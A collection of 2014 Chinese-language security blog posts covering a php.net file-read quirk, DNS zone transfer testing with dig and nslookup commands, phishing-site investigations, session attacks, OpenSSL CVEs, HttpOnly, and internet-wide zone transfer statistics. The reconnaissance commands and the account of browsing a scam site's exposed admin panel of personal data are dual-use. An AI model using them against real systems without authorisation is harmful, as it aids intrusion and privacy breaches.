今天這個案例就發生在 PHP 的官方網站 (http://www.php.net/),消息來源是知名的 0-Day 黑市 1337day,發佈的日期是 2014/4/4 ,原始的內容是這樣的:

1337day 漏洞交易網站

可以看到這個弱點是不公開的,想要知道內容的話要支付 82 美元相當於新台幣 3500 元呢!在強烈的好奇心屈使之下,自己打開工具來找看看:

PHP 官方網站原始碼

透過簡單的分析和一點點運氣,找到了 「http://www.php.net/cached.php」 這隻程式,發現它傳入了「t」和「f」這兩個參數。「t」直覺上就是個 rand 數值,而「f」應該就是檔案位置了。這時候對 f 參數小小修改一下,神奇的事情發生了:

cached.php 讀取原始碼

index.php 的原始碼被完整的讀出來,當然也要來看一下 cached.php 是怎麼寫的:

cached.php 檢視原始碼

可以看到此處並未對 $_GET[“f”] 進行檢查,所以修改了 $_GET[“f”] 後,與 $abs 組合完,最後就直接丟入 readfile 讀取檔案。比較值得研究的是這邊使用了 realpath 與 strncmp 來比較 f 及 DOCUMENT_ROOT,確保 $abs 只能在網站目錄之下,所以無法使用 ../../ (Path Traversal) 的方式跳脫目錄進行更進一步的滲透。

最後我們將此發現回報給 [email protected] ,得到的回應是他們是「故意的 (intentional)」。且後來也知道 PHP 官網是開放原始碼(Open Source)的,可以到 http://git.php.net/?p=web/php.git;a=tree 下載整個官網的原始碼。

PHP.NET 官網團隊回應

雖然在這個案例中並沒有造成實質上的危害,沒有帳號、密碼、系統設定等機敏資料,但若把此種寫法用在其他地方,則可能造成很大的資安風險。就連 PHP 官方網站都有這樣的失誤,身為開發人員的你們更不可不慎!

Zone Transfer CVE-1999-0532 - 古老的 DNS 資安議題

4 May 2014 at 16:00

前言

DNS 是在 1983 年由 Paul Mockapetris 所發明,相關規範分別在 RFC 1034 以及 RFC 1035。其主要作用是用來記憶 IP 位址與英文之間的對應關係,讓人類可以用較簡單的方式記得主機名稱。目前一般民眾大多使用 ISP 或國際知名公司提供的 DNS server,如中華的 168.95.1.1 或是 Google 的 8.8.8.8 等等。

然而對於企業而言,可能需要架設大量機器或內部系統,又希望以簡單的方式記憶主機名稱,因此許多企業有自行架設 DNS server 的需求。同時企業通常也會建立幾台備援 DNS server,以避免 DNS 服務忽然中斷。但是當企業有多台 DNS server 時,就必須考量 DNS 記錄的同步問題,通常會使用 zone transfer 這個功能來同步記錄。

然而若管理者未做好相關設定,使所有來源皆可對企業的 DNS 主機進行 zone transfer 查詢,則有機會讓此功能成為企業遭受攻擊的起點。用現實生活情境舉例的話,對外開放 zone transfer 就如同所有人都可以任意查詢你名下的所有房地產位在何處,假如有人要針對性的攻擊你,隨時都可以去看你某個房地產有沒有哪扇門窗沒關好,伺機入侵你的家園。一般我們對企業資訊系統進行滲透測試時,在資訊搜集的階段也會先從 domain name 下手,因此 DNS 相關資料的重要性可見一斑。

Zone transfer 的資安議題早在 1999 年就已有人提出,理應成為各企業進行資安稽核的步驟之一。然而十五年過去了,在近期我們卻發現許多國內大企業仍有此問題,令人非常驚訝!究竟企業該如何檢測自身是否存在這種安全漏洞?此問題目前在台灣網路環境佔有多大的比例?Zone transfer 會對企業造成什麼影響?讓我們繼續看下去~

Zone Transfer 檢測方式

首先需感謝 DigiNinja 提供了一個讓大家自由測試的 zonetransfer.me 網域,以下我們分別在 Linux 及 Windows 環境下進行檢測。

Linux

在 Linux 環境內,我們可利用 dig 指令查詢目標 domain 使用哪些 name server:

dig +nostats +nocomments +nocmd NS zonetransfer.me

Name server 查詢結果:

;zonetransfer.me.		IN	NS
zonetransfer.me.	7118	IN	NS	ns12.zoneedit.com.
zonetransfer.me.	7118	IN	NS	ns16.zoneedit.com.

從結果可得知有 ns12.zoneedit.com 或 ns16.zoneedit.com 這兩個 DNS server,接著我們即可測試是否可從外部網路對這兩個 DNS server 進行 zone transfer,測試方式如下:

dig axfr zonetransfer.me @ns12.zoneedit.com

Zone transfer 測試結果:

使用 dig 測試網域是否存在 zone transfer 漏洞

從上面的測試結果中我們可發現,zonetransfer.me 這個網域的所有 DNS 設定已全部被列出。

Windows

若是在 Windows 環境,可在命令提示字元環境內使用 nslookup 指令查詢目標 domain 使用哪些 name server:

nslookup -type=ns zonetransfer.me

Name server 查詢結果:

Server:		8.8.8.8
Address:	8.8.8.8#53

Non-authoritative answer:
zonetransfer.me	nameserver = ns12.zoneedit.com.
zonetransfer.me	nameserver = ns16.zoneedit.com.

Authoritative answers can be found from:

輸入指令後我們如同先前使用 dig 一樣,得知目標有 ns12.zoneedit.com 與 ns16.zoneedit.com 這兩個 name server,接著再如下圖依序輸入三道指令查詢:

nslookup

server ns12.zoneedit.com

ls -d zonetransfer.me

註:Linux 版的 nslookup 沒有實作 ls 這個功能喔!

Zone transfer 測試結果:

使用 nslookup 測試網域是否存在 zone transfer 漏洞

測試結果與 Linux 環境所得到的資料雷同,可成功列出該網域的所有 DNS 設定。

Online Service

當然,並不是每個人都熟悉上述指令的操作方式,因此除了介紹手動檢測方法之外,在這裡也提供幾個線上檢測的服務,讓大家可以迅速檢測自家公司或者你正在使用的服務是否有此問題:

實際案例

如同上次 HTTP Headers 資安議題所探討的對象,我們從 TIEA 成員以及 Alexa TW top 525 觀察 zone transfer 問題分別在這些族群中佔有多少比例。

根據我們監測的結果,在目前 TIEA 的 132 名成員中,有 20 個網域存在 zone transfer 問題,佔了 15.15%。而在 Alexa TW top 525 當中,有 48 個網域存在 zone transfer 問題,佔了 9.14%。乍看之下比率似乎不高,但是在上述兩個族群的網域當中,包括:

  • 電信商
  • 多家電視媒體
  • 多家網路新聞媒體
  • 多家線上購物網站
  • 知名團購網站
  • 知名金流公司
  • 知名線上音樂服務

台灣企業不夠注重資訊安全,罔顧客戶資料安全性,早已不是新聞。然而若企業不顧自身商業利益與責任,當彼此無商業往來時,我們也無法一一咎責。但若連台北市政府、教育部、多間大專院校都有此問題,就令人不太能接受了,這些政府單位與教育機構理當為我們的個人資料安全性負起全部的責任,不應該漏掉任何一個資安環節。上述結果顯示出台灣從政府到企業可能都沒有徹底落實 DNS 的資安設定,而且目前的數據僅僅是針對 TIEA 成員以及 Alexa TW top 525 進行檢測,若是對全台灣或是全世界進行大範圍的檢測,恐怕會發現更多驚人的案例!

對企業的潛在影響

  • 洩漏網域名稱

    一般企業在進行滲透測試時,通常只會挑幾個最重要、最常面對客戶的網域進行測試,但是入侵者可不會這麼乖。當有人嘗試要入侵企業時,必定是先進行全面的偵查,觀察企業哪幾個網域所執行的 service 有潛在的弱點,或是看哪幾個網域防禦力道較弱,再從該處下手。因此 zone transfer 問題所提供的完整 DNS 記錄,就為入侵者省下了許多偵查的工夫。

  • 洩漏外網 IP 範圍

    當攻擊者取得 zone transfer 所洩漏的資料後,可合理推斷哪些網段是屬於該企業,進一步對該網段進行掃描,嘗試找尋有機會入侵之標的物。

  • 洩漏內網 IP 範圍

    有些管理人員、開發者為求內部開發方便,經常會將網域名稱跟內網 IP 位址綁在一起,例如將 phpmyadmin.example.com 設定為 192.168.1.100,攻擊者就可根據此類資訊猜測內網哪些網段存在重要服務。這種設定平常也許不會造成重大損害,但是當管理者疏於建立內網防禦機制,恰好企業又被入侵至內網時,造成一連串重大損失的機率將會大幅提高。

解決方式

Linux

若使用 Linux,可在 /etc/named.conf 內加入下列選項,以限制可存取 zone transfer 的來源:

options {
    allow-transfer {
        1.2.3.4;
        5.6.7.8;
    };
};

設定完畢後,將 DNS 服務重啟即可生效。

Windows

在 Windows server 當中,我們可到伺服器管理員修改網域的相關設定,如下圖:

於伺服器管理員修改網域的 zone transfer 設定

在伺服器管理員中,選定想要修改的網域(此處以 test.com 為例),按右鍵點選內容,將會跳出選單如下圖:

修改 test.com 的 zone transfer 設定

接著就是觀看「允許區域轉送」選項是否有勾選,若已勾選,則確認轉送對象是否為下列兩種:

  • 只到列在「名稱伺服器索」引標簽上的伺服器
  • 只到下列伺服器

TCP 53 port

DNS 在做 zone transfer 時是使用 TCP 53 port(有別於一般 DNS query 的 UDP 53 port),因此有些人會認為將 TCP 53 port 關閉就可以對付 zone transfer,而不想修改 zone transfer 的設定。其實這個觀念只對了一半,若 zone file 的資料小於 512 byte,仍然可以透過 UDP 傳輸。即使 zone file 的資料大於 512 byte,也可以用 Incremental Zone Transfer (IXFR) 的方式取得部分資料。

結論

如果企業今天非常有自信能夠替所有網域都準備好完善的安全措施,那麼 zone transfer 所洩漏的資料對該企業就不會有太嚴重的影響。然而,在現今這個入侵手法日新月異的世界裡,又有誰能夠永遠保證自己的安全防護已經做足了呢?在前陣子火紅的 OpenSSL CVE-2014-0160 Heartbleed 問題被爆出來之後,我們就藉由許多 zone transfer 的記錄觀察到全世界有非常多企業只修復了主要網站的 OpenSSL 漏洞,卻忽略了企業內其他的服務與設備可能也有此漏洞,像是 DB、Email、VPN、NAS 等等,直到今日仍遲遲未修復。

千萬別以為你所購買的各種資安設備能防禦所有資安弱點,也別忽略了各項古老的資安弱點,更別小看了你所不熟悉的駭客們的組合各式各樣弱點的能力,只要有一個資安環節疏漏,隨時都有可能對企業造成致命危機。

搶搭核四與服貿熱潮的潛在詐騙網站

6 May 2014 at 16:00

vote.tw.am

最近很多人都收到了一個看起來很像釣魚網站的核四投票站台簡訊,如下圖:

核四投票站台簡訊

我們也收到了,但是剛吃飽飯實在很想睡覺,不太想理他,於是就忍不住趴下睡覺,竟然做了個夢…..

站台內容

在夢中手滑打開了網頁,內容長得像這個樣子:

核四投票站台頁面

看了真是非常的義憤填膺!馬上就想投下神聖的一票!但是忽然聽到周公指示說網站底下有奇怪的目錄,照著神諭一試,發現有 .svn 目錄跟 entries 檔!

.svn 目錄

這時候三太子哪吒剛好路過,說他剛剛在 Pastebin 看到有人貼了一篇跟這個網站好像有關聯的內容,講完他就開著水車跑去鎮壓龍宮了。點開那篇內容一看,內容有一些很奇怪的網址,讓人看了就很想點!隨便選了一個 http://vote.tw.am/2N9E6V4E5R4BABC0647469FF213F2D94A27FA/chose_vote.include.php 打開來看:

投票項目

哇塞!原來從服貿就已經開始了呢!讓我們繼續點進去看看:

投票結果導覽頁面

看起來是個後台,可以瀏覽使用者的投票記錄、留言等資料,那就點個投票記錄來看看:

投票記錄

果然裡面存著眾多民眾的投票記錄,那麼用戶反饋應該就是留言了…

從這些內容看來,應該是有個集團擁有大量的民眾個資,並且一一發送訊息給這些人,背後目的尚不得而知。有可能是大陸人想利用這個熱潮確認這些電話號碼是否真實、可用,也有可能是不知名的黑手正在策劃下一個打壓動作?正當我們想搞清楚對方究竟是透過電話號碼還是信箱傳送 iMessage 時,哪吒忽然又路過了,丟了這張圖之後叫我們不要再瞎忙了趕快回家洗洗睡:

IP、時間、電話、回應內容等資料

果然有電話!究竟這件事,是有網站大量洩漏個資,還是有人在民運期間利用這股熱潮蒐集個資,抑或是背後有什麼不可告人的秘密呢?讓我們繼續看下去~

夢醒時分

上班時間不能午睡太久,於是周公就把我們叫醒了…..

對於這樣的夢境我們有以下建議:

  • 不要隨意點擊來路不明的簡訊內容
  • 在網路上填寫任何內容之前先查證該網站是否可疑
  • 對於 [email protected] 這種可疑帳號所傳來的任何資料,請保持高度警戒
  • 對於 vote.tw.am 這種看起來疑似要偽裝成 .tw 網域的站台,也請保持高度警戒

歡迎大家轉發這個消息到各大網站、粉絲團、BBS,告訴各個熱心公益的鄉民們別再點擊與回應來路不明的簡訊囉!

LINE 免費貼圖釣魚訊息分析

11 May 2014 at 16:00

晚上突然接到社群朋友傳 LINE 的訊息過來,定睛一看並不單純。這網址看起來就是釣魚網站啊?怎麼會這樣呢?難道是朋友在測試我們的警覺心夠不夠嗎?讓我們看下去這個釣魚網頁怎麼玩。

LINE 傳送贈送貼圖訊息釣魚

此 LINE 釣魚訊息說只要幫忙轉發 15 次訊息,就會贈送貼圖。先不論 LINE 有沒有這樣的機制,我們先直接點選連結看看葫蘆裡賣什麼藥。

LINE 釣魚假貼圖網頁

瀏覽器打開之後,跳出了領取貼圖的「網頁」,而且還有詭異的紅字。各種跡象都跟一般領取貼圖的模式不同,太令人起疑了。點了圖就會跳到 Facebook 登入頁面。

假 Facebook 登入頁面騙取帳號密碼

明眼人看到這個 Facebook 登入頁面就會發現太假了,破綻多多。Logo、網址、網頁格式破板、簡體字,太多令人懷疑的地方了。在這邊我們只要隨便輸入帳號跟密碼,就能到下個畫面。

假 Facebook 登入完成頁面

結果當然是不會給你貼圖啦!而且網址「cuowu」是「錯誤」的拼音,也暴露了網站作者的身分。直接用瀏覽器看傳遞的頁面叫做「tj.asp」,「tj」正好是「提交」,畫面上的錯誤訊息更是大剌剌的直接秀出簡體字。

釣魚網站網頁訊息

事後友人直接說 LINE 帳號被盜用發訊息了,而且密碼可能過於簡單、也沒有設定換機密碼。因此在這邊呼籲大家做好 LINE 的安全設定:

  1. 加強密碼長度、複雜度
  2. 設定「換機密碼」
  3. 若只在手機使用 LINE,可將「允許自其他裝置登入」關閉
  4. 如果有帳號被盜狀況,趕快聯絡 LINE https://line.naver.jp/cs/

大家在享受通訊軟體與朋友傳訊貼圖的同時,也必須要注意有心人士利用這些管道竊取你的帳號密碼喔!

HTTP Session 攻擊與防護

2 June 2014 at 16:00

前言

大家還記得四月份的 OpenSSL Heartbleed 事件嗎?當時除了網站本身以外,受害最嚴重的就屬 VPN Server 了。國內外不少駭客不眠不休利用 Heartbleed 漏洞竊取 VPN Server 的管理者 Session Cookie,運氣好的話就可以直接登入大企業的內網。

但是,其實這樣的風險是可以避免的,今天我們以開發者的角度來談談 Session 的攻擊與防護。

什麼是 Session?什麼是 Cookie?

在談 Session 之前,我們要先瞭解 Cookie。你知道網站是如何辨識我們的身份嗎?為什麼我們輸入完帳號密碼之後,網站就知道我們是誰呢?就是利用 Cookie。Cookie 是網站在瀏覽器中存放的資料,內容包括使用者在網站上的偏好設定、或者是登入的 Session ID。網站利用 Session ID 來辨認訪客的身份。

Cookie 既然存放在 Client 端,那就有被竊取的風險。例如透過 Cross-Site Scripting(跨站腳本攻擊,又稱 XSS),攻擊者可以輕易竊取受害者的 Cookie。如果 Cookie 被偷走了,你的身份就被竊取了。

我們可以用一個譬喻來表示:你加入了一個秘密俱樂部,填寫完會員資料後,得到了一張會員卡。之後只要憑這張會員卡,就可以進入這個俱樂部。但是隔天,你的會員卡掉了。撿走你會員卡的人,就可以用你的會員卡進入這個秘密俱樂部,因為會員卡上沒有你的照片或是其他足以辨識身分的資訊。這就像是一個會員網站,我們申請了一個帳號(填寫會員資料加入俱樂部),輸入帳號密碼登入之後,得到一組 Cookie,其中有 Session ID 來辨識你的身分(透過會員卡來辨識身分)。今天如果 Cookie 被偷走了(會員卡被撿走了),別人就可以用你的帳號來登入網站(別人用你的會員卡進入俱樂部)。

Session 攻擊手法有三種:

  1. 猜測 Session ID (Session Prediction)
  2. 竊取 Session ID (Session Hijacking)
  3. 固定 Session ID (Session Fixation)

我們以下一一介紹。

Session Prediction (猜測 Session ID)

Session ID 如同我們前面所說的,就如同是會員卡的編號。只要知道 Session ID,就可以成為這個使用者。如果 Session ID 的長度、複雜度、雜亂度不夠,就能夠被攻擊者猜測。攻擊者只要寫程式不斷暴力計算 Session ID,就有機會得到有效的 Session ID 而竊取使用者帳號。

分析 Session ID 的工具可以用以下幾種

  1. OWASP WebScarab
  2. Stompy
  3. Burp Suite

觀察 Session ID 的亂數分布,可以了解是否能夠推出規律、猜測有效的 Session ID。

分析 Session ID

Ref: http://programming4.us/security/3950.aspx

防護措施

使用 Session ID 分析程式進行分析,評估是否無法被預測。如果沒有 100% 的把握自己撰寫的 Session ID 產生機制是安全的,不妨使用內建的 Session ID 產生 function,通常都有一定程度的安全。

Session Hijacking (竊取 Session ID)

竊取 Session ID 是最常見的攻擊手法。攻擊者可以利用多種方式竊取 Cookie 獲取 Session ID:

  1. 跨站腳本攻擊 (Cross-Site Scripting (XSS)):利用 XSS 漏洞竊取使用者 Cookie
  2. 網路竊聽:使用 ARP Spoofing 等手法竊聽網路封包獲取 Cookie
  3. 透過 Referer 取得:若網站允許 Session ID 使用 URL 傳遞,便可能從 Referer 取得 Session ID

竊取利用的方式如下圖:

受害者已經登入網站伺服器,並且取得 Session ID,在連線過程中攻擊者用竊聽的方式獲取受害者 Session ID。

竊取 Session ID

攻擊者直接使用竊取到的 Session ID 送至伺服器,偽造受害者身分。若伺服器沒有檢查 Session ID 的使用者身分,則可以讓攻擊者得逞。

偽造 Session ID

防護措施

  • 禁止將 Session ID 使用 URL (GET) 方式來傳遞
  • 設定加強安全性的 Cookie 屬性:HttpOnly (無法被 JavaScript 存取)
  • 設定加強安全性的 Cookie 屬性:Secure (只在 HTTPS 傳遞,若網站無 HTTPS 請勿設定)
  • 在需要權限的頁面請使用者重新輸入密碼

Session Fixation (固定 Session ID)

攻擊者誘使受害者使用特定的 Session ID 登入網站,而攻擊者就能取得受害者的身分。

  1. 攻擊者從網站取得有效 Session ID
  2. 使用社交工程等手法誘使受害者點選連結,使用該 Session ID 登入網站
  3. 受害者輸入帳號密碼成功登入網站
  4. 攻擊者使用該 Session ID,操作受害者的帳號

Session Fixation

防護措施

  • 在使用者登入成功後,立即更換 Session ID,防止攻擊者操控 Session ID 給予受害者。
  • 禁止將 Session ID 使用 URL (GET) 方式來傳遞

Session 防護

那要怎麼防範攻擊呢?當然會有人說,會員卡不要掉不就沒事了嗎?當然我們沒辦法確保用戶不會因為各種方式導致 Cookie 遭竊(XSS、惡意程式等),因此最後一道防線就是網站的 Session 保護。一張會員卡上如果沒有任何可識別的個人資料,當然任何人撿去了都可以用。如果上面有照片跟簽名呢?偷走會員卡的人在進入俱樂部的時候,在門口就會因為照片跟本人不符而被擋下來。Session 保護也是一樣,怎麼讓我們的 Session 保護機制也能辨識身分呢?答案是利用每個使用者特有的識別資訊。

每個使用者在登入網站的時候,我們可以用每個人特有的識別資訊來確認身分:

  1. 來源 IP 位址
  2. 瀏覽器 User-Agent

如果在同一個 Session 中,使用者的 IP 或者 User-Agent 改變了,最安全的作法就是把這個 Session 清除,請使用者重新登入。雖然使用者可能因為 IP 更換、Proxy 等因素導致被強制登出,但為了安全性,便利性必須要與之取捨。以 PHP 為例,我們可以這樣撰寫:

if($_SERVER['REMOTE_ADDR'] !== $_SESSION['LAST_REMOTE_ADDR'] || $_SERVER['HTTP_USER_AGENT'] !== $_SESSION['LAST_USER_AGENT']) {
   session_destroy();
}
session_regenerate_id();
$_SESSION['LAST_REMOTE_ADDR'] = $_SERVER['REMOTE_ADDR'];
$_SESSION['LAST_USER_AGENT'] = $_SERVER['HTTP_USER_AGENT'];

除了檢查個人識別資訊來確認是否盜用之外,也可以增加前述的 Session ID 的防護方式:

  1. Cookie 設定 Secure Flag (HTTPS)
  2. Cookie 設定 HTTP Only Flag
  3. 成功登入後立即變更 Session ID

Session 的清除機制也非常重要。當伺服器偵測到可疑的使用者 Session 行為時,例如攻擊者惡意嘗試偽造 Session ID、使用者 Session 可能遭竊、或者逾時等情況,都應該立刻清除該 Session ID 以免被攻擊者利用。

Session 清除機制時機:

  1. 偵測到惡意嘗試 Session ID
  2. 識別資訊無效時
  3. 逾時

管理者有避免使用者帳號遭竊的責任

使用者帳號遭竊一直以來都是顯著的問題,但卻鮮少有網站針對 Session 的機制進行保護。攻擊者可以輕鬆使用 firesheep 之類的工具竊取帳號。國外已經有不少網站偵測到 Session 可能遭竊時將帳號強制登出,但國內目前還鮮少網站實作此防禦,設備商的 Web 管理介面更少針對 Session 進行保護。如果 VPN Server 等設備有偵測 Session ID 的偽造,在 OpenSSL Heartbleed 事件時就不會有那麼慘重的損失了。

立刻把自己的網站加上 Session 保護機制吧!

OpenSSL 再爆嚴重漏洞,部分重要網站仍在風險中!

8 June 2014 at 16:00

(本篇最後更新時間:2014.6.9 15:40 pm)

OpenSSL 團隊於 6/5 修補了六項安全漏洞,SANS 在這篇文章中整理了這幾個漏洞的摘要,這裡截圖表格如下:

OpenSSL 0605 安全更新比較表

其中 CVE-2014-0224、CVE-2014-0195 兩項被列為 Critical,我們分別來看看這兩個弱點到底造成了什麼危害。

CVE-2014-0224 (CCS Injection Vulnerability)

說明

加密通訊被視為預防中間人攻擊的解法之一,利用 SSL 協定防止竊聽、竄改傳輸資料是一種常見的方式。然而 OpenSSL 這次出現在 ChangeCipherSpec(更改密鑰規格)的設計瑕疵,讓攻擊者有辦法解密所有通訊內容,讓加密保護徹底失效。

該弱點原理是 OpenSSL 伺服器端在實作 handshake 時並未檢查訊息的順序(嚴格來說是 ChangeCipherSpec 的順序),所以攻擊者可以提前送出 ChangeCipherSpec 訊息,使伺服器在還未初始完畢的狀態先去做 ChangeCipherSpec 的動作,最終造成加解密可解的狀況,是以此弱點稱之為 CCS Injection。更多的細節請參考原通報者 Masashi Kikuchi 的部落格,佐以這篇附程式碼的解說,OpenSSL github 上關於 CVE-2014-0224 的 fix 也可以幫助了解。

誰應該注意

所有靠 OpenSSL 保護連線的應用服務都需要注意。又尤其是銀行、金流服務這些連線中存在金融資訊的服務,若不注意會造成信用卡卡號洩漏,網路銀行被盜用。經過實際檢測,目前仍有銀行單位和金流單位使用有問題的 OpenSSL 版本。消費者需要特別注意,在使用前也可透過下面小工具來輔助檢查自己所使用的服務使否存在風險:

慶幸的是,此弱點只發生在用戶端及伺服器端皆使用有問題 OpenSSL 版本的狀況下。一般來說,桌面端的瀏覽器都不是使用 OpenSSL,所以一般使用者可以稍微安心。問題比較大的是 android 使用者,android 內建 OpenSSL,許多 app 呼叫它來進行加密傳輸,所以建議 android 用戶在 google 釋出更新前,不要使用手機連線到有問題的服務,或使用自帶 SSL 的 app,例如:firefox、最新版 Chrome (35.0.1916.141)…。

另外,若使用者常用到一些加密連線服務,例如 VPN,請自行注意所使用軟體是否使用 OpenSSL,以免受到 CCS Injection 的影響。

CCS Injection Vulnerability

最後說個題外話,原來現在發表漏洞還要為漏洞出張圖,在 Hacker News 原討論串的這篇回應,就有人說:『這個漏洞有 logo 嗎?如果沒有我就不打算認真看待它!』XD

CVE-2014-0195 (DTLS arbitrary code execution)

說明

OpenSSL 在處理 DTLS 訊息上,為了避免 IP fragmentation,所以做了一些處理機制,這個處理機制並沒有好好驗證 DLTS ClientHello 中的 fragment 長度(嚴格來說是在正確的位置做驗證),若攻擊者發送一個很長的 fragment,能造成緩衝區溢位攻擊。更多的細節請參考這篇文章。

比較有趣的是那段出問題的程式碼是一位有名德國工程師 Robin Seggelmann 寫的,有名的點在於上次非常嚴重的 Heartbleed 事件也是他寫的 code XD

誰應該注意

使用 OpenSSL 且有用到 DTLS 的服務提供者,通常是 VoIP、WebRTC、VPN 這類服務,這個風險有可能會造成伺服器被入侵。

修補

除了上面所提及兩個嚴重風險,這次的更新也同時修復了幾個 DOS 的弱點,強烈建議伺服器端更新。
請確認 OpenSSL 已經更新到下面版本,並且有重新啟動讓其生效。

  • OpenSSL 0.9.8za
  • OpenSSL 1.0.0m
  • OpenSSL 1.0.1h

更新資訊依據所用的系統分別如下:

小結

這次 OpenSSL 做了數個安全性的更新,雖然不若之前 Heartbleed 那麼嚴重,但卻也讓使用者暴露在風險中。建議有使用 OpenSSL 都應該更新到最新版本,尤其是一些大型的銀行及金流服務,更應儘速更新。

HttpOnly - HTTP Headers 的資安議題 (3)

10 June 2014 at 16:00

上次我們提到了 Content-Security-Pilicy,這次我們來聊聊同樣是為了防禦 XSS 而生的另一個技術。

HttpOnly 簡介

Cookie 的概念雖然早在 1994 年就由 Netscape 的工程師 Montulli 提出,但當時仍未有完善的防護機制,像是 HttpOnly、Secure 等規範都是後來陸續被提出,直到 2011 年 4 月才在 RFC 6265 中正式定案。而其中的 HttpOnly 是專門為了抵禦攻擊者利用 Cross-Site Scripting (XSS) 手法來盜取用戶身份,此項 Cookie 防護設定應該是在 HTTP Headers 系列文中最廣為人知的項目。

HttpOnly 主要作用

說明 HttpOnly 主要作用之前,先談談 XSS 最常見的利用方式。XSS 攻擊早在 1990 年就被發現,此攻擊手法最常見的利用方式是存取使用者的 cookie 來獲得一些機敏資料。像是存取 session cookie 即可盜用使用者的身份(關於 session 的重要性,可以參考我們部落格的另一篇文章 HTTP Session 攻擊與防護),如果在 cookie 中記錄了其他機敏資訊,也可能會一併遭竊。因此若能阻止攻擊者存取帶有敏感資料的 cookie,就能減少 XSS 對使用者的影響,因而催生了 HttpOnly 機制。

當 cookie 有設定 HttpOnly flag 時,瀏覽器會限制 cookie 只能經由 HTTP(S) 協定來存取。因此當網站有 XSS 弱點時,若 cookie 含有 HttpOnly flag,則攻擊者無法直接經由 JavaScript 存取使用者的 session cookie,可降低使用者身份被盜用的機率。早期有些瀏覽器未完整實作 HttpOnly 所有功能,因此攻擊者仍可透過 XMLHttpRequest 讀取 cookie,但最近幾年各大瀏覽器也陸續阻擋了這個方式。因此 HttpOnly 可有效降低 XSS 的影響並提升攻擊難度。目前瀏覽器的支援列表如下:

HttpOnly 瀏覽器支援列表

其他瀏覽器支援列表以及各家程式語言使用 HttpOnly 的方式可參考 OWASP HttpOnly。

HttpOnly Demo

以下使用 PHP 程式碼為例:

<?php
session_start();
?>

<html>
    <head>
        <title>HttpOnly Demo</title>
    </head>
    <body>
        <h3>HttpOnly Demo</h3>
        <p>If you didn't set HttpOnly flag, cookie will write down by document.write().</p>
        <script>
            document.write(document.cookie);
        </script>
    </body>
</html>

未設定 HttpOnly 之前,cookie 可被 JavaScript 存取

在上圖中可看到 PHPSESSID 已成功被 JavaScript 存取,這也意味著網站有 XSS 弱點時,使用者的身份有較高的機率被盜用。為了使用 HttpOnly 進行防護,讓我們將 PHP 程式碼修改如下:

<?php
ini_set("session.cookie_httponly", 1);
session_start();
?>

設定 HttpOnly 後,cookie 已無法被 JavaScript 存取

我們可以使用畫面中右上角的 Chrome Edit This Cookie 套件 看到 HttpOnly 已經被勾選(如紅框處),並且 PHPSESSID 已無法被 JavaScript 存取,不存在於 HTML 中。

目前 PHP 官方的教學是用 session_set_cookie_params 這個 function,可參考官方網頁的這篇說明

HttpOnly 實際使用案例

由於 HttpOnly 的使用方式較簡單,因此僅列舉幾個站台的使用結果圖片給大家參考,就不另外多做說明囉!

  • T客邦 (www.techbang.com),有設定 HttpOnly

T客邦

  • 愛料理 (icook.tw),有設定 HttpOnly

愛料理

  • Mobile01 (www.mobile01.com),未設定 HttpOnly

Mobile01

  • Giga Circle (tw.gigacircle.com),未設定 HttpOnly

Giga Circle

結論

HttpOnly 是存在已久的技術,但在我們系列文第一篇的統計當中,採用的比例仍然偏低。如同之前我們提及的 Zone Transer 問題,即使一項資安技術或資安議題存在很久,也需要大家持續關注。

但即使採用了 HttpOnly,也僅能防止惡意人士不正當存取 cookie,無法防禦其他的 XSS 攻擊方式,例如將使用者導向至釣魚網站騙取個資、導向至惡意網站植入後門、置換網頁外觀等等。同時未來仍有可能出現新的 XSS 攻擊手法,因此千萬別因設定了 HttpOnly 就掉以輕心,誤以為不會再被 XSS 手法侵害企業利益或用戶資料,仍然必須謹慎檢查每一個系統輸出輸入點,以避免未來因上述影響導致用戶或企業蒙受損失。

Zone Transfer Statistics of Alexa Top 1 Million

12 June 2014 at 16:00

Zone Transfer 世界大揭秘

還記得在上一篇文章 Zone Transfer CVE-1999-0532 - 古老的 DNS 資安議題中我們曾提到,若對全世界的網站進行 zone transfer 檢測恐怕會有更多驚人的案例嗎?正好 Alexa 提供了全球排名前一百萬名的網站資料,我們就以這份資料為基礎來做一些統計吧!

有問題的 domain 總數與比例

  • 79133,約佔所有受測目標的 8.014%
  • 上述 domain 的所有 zone file 共含有 22631804 筆 DNS 記錄

由於在 Alexa Top 1M 中有許多資料是重複的 domain,另外也有些資料是 IP,在本次的檢測當中都不列入計算,因此受測 domain 總數僅有 987447 個,而非一百萬個。另外,本次掃描為求快速犧牲了部分準確率,因此實際數量應比 79133 更多。

有問題的 Top-Level Domain (TLD) 數量

  • 全世界 TLD 總數:567
  • 受測目標的 TLD 總數:316,佔全世界總數的 55.73%
  • 有 zone transfer 問題的 TLD 總數:220,佔受測目標的 69.62%

目前 TLD 總數的數據取自於 Internet Assigned Numbers Authority (IANA),不了解 TLD 是什麼的人可以參考這篇維基百科文章。

有趣的是,連一些新的 TLD 都有 zone transfer 問題,例如 .technology、.museum 等等,可見這真的很容易被大家忽略~

關於各個 TLD 的統計數據

  • Transferable domain in this TLD:在特定 TLD 中,有多少 domain 可任意執行 zone transfer
  • Same TLD in Alexa top 1M:特定 TLD 在本次 987447 個受測目標中所佔的數量
  • Percentage of same TLD in Alexa top 1M:特定 TLD 在 Alexa top 1M 內所有同樣 TLD 所佔的百分比(例:.com 即為 35230 / 527203 = 6.68%)
  • Percentage of all transferable domain:某特定 TLD 可任意執行 zone transfer 的數量在本次所有可任意執行 zone transfer 所占的百分比(例:.com 即為 35230 / 79133 = 44.52%)

由於原始數據太多,因此本文僅列出前 25 名。

Zone Transfer 問題的 TLD 相關統計

.tw 網域排第二十一名,幸好這次不是世界第一了,否則又是另類的台灣之光。

關於 name server 的統計數據

  • Number of domain:該台 name server 有多少 domain 可任意執行 zone transfer

由於原始數據太多,因此本文僅列出前 25 名。

Zone Transfer 問題的 name server 相關統計

可執行 zone transfer 且不重複的 namer server 共有 53830 個

關於 IP 位址的統計數據

  • 有 7939172 個不重複的 IP 位址
  • 在全部 IP 位址中,有 704638 個是私有 IP 位址
  • 在私有 IP 位址中,有 598443 個是 10. 開頭,佔所有 IP 位址的 7.538%,佔私有 IP 位址的 84.929%
  • 在私有 IP 位址中,有 66270 個是 172.16~31 開頭,佔所有 IP 位址的 0.835%,佔私有 IP 位址的 9.405%
  • 在私有 IP 位址中,有 39925 個是 192.168 開頭,佔所有 IP 位址的 0.503%,佔私有 IP 位址的 5.666%

subdomain 的統計數據

